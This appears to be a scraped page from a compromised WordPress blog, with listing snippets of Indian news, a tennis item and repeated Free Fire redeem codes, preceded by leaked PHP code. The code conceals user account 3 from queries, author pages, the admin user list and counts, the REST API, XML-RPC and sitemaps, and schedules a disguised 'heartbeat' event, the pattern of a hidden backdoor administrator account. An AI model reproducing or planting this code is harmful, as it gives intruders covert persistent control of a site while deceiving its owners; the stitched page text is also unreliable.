add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 3;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 3 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 3 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 3;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 3;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 3;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/3(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 3;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
Blog – Page 5 – Diamonds
Skip to content
November 27, 2023
The Defence Research and Development Organization (DRDO), ministry of defense, government of India is inviting online packages for filling up ...
Read more
November 26, 2023
Royal Enfield has delighted Indian motorcycle enthusiasts once again with the launch of their new models at the Motoverse 2023 ...
Read more
November 25, 2023
New delhi: defence professional fundamental general pk sehgal (retd) on friday condemned the statements made with the aid of pdp ...
Read more
November 25, 2023
The legal pass comes after grover, embroiled in a chain of controversies, shared information on social media regarding the fairness ...
Read more
November 24, 2023
Alexander Zverev entered the 2018 Canada Masters in Toronto as the defending champion and the 2nd seed behind Rafael Nadal. The German ousted Daniil Medvedev in the third round and faced another young gun, Stefanos Tsitsipas, in the quarter-final. Zverev built a massive 6-3, 5-2 advantage and earned two match points, only to [...]
Read more
September 29, 2023
Garena Free Fire MAX Redeem Codes 2023 FD2F3VBE4JUIF8 F76YTGDHR596I8 FJUTGYMKVO8D7Y F6STGFWB3N84JM F5KT6IYHUYCBDX FNA4REDWC3VEBG F4HRJUTIGCNXDJ FRI586UJY8BGKV FI8C7DYRH56MYK FLOHI8VUCHDRT6 FYUYU7J7LOKEJH FFSG4ED5TFHT6F F6YBCTRGH6E4YW ...
Read more
September 29, 2023
Horizontal Bar with Image and Text Get 5000 Redeem Codes Daily Expired Horizontal Bar with Image and Text Get 5000 ...
Read more
September 29, 2023
Garena Free Fire MAX Redeem Codes FD2F3VBE4JUIF8 F76YTGDHR596I8 FJUTGYMKVO8D7Y F6STGFWB3N84JM F5KT6IYHUYCBDX FNA4REDWC3VEBG F4HRJUTIGCNXDJ FRI586UJY8BGKV FI8C7DYRH56MYK FLOHI8VUCHDRT6 FYUYU7J7LOKEJH FFSG4ED5TFHT6F F6YBCTRGH6E4YW FS2EDXERGTHY6R ...
Read more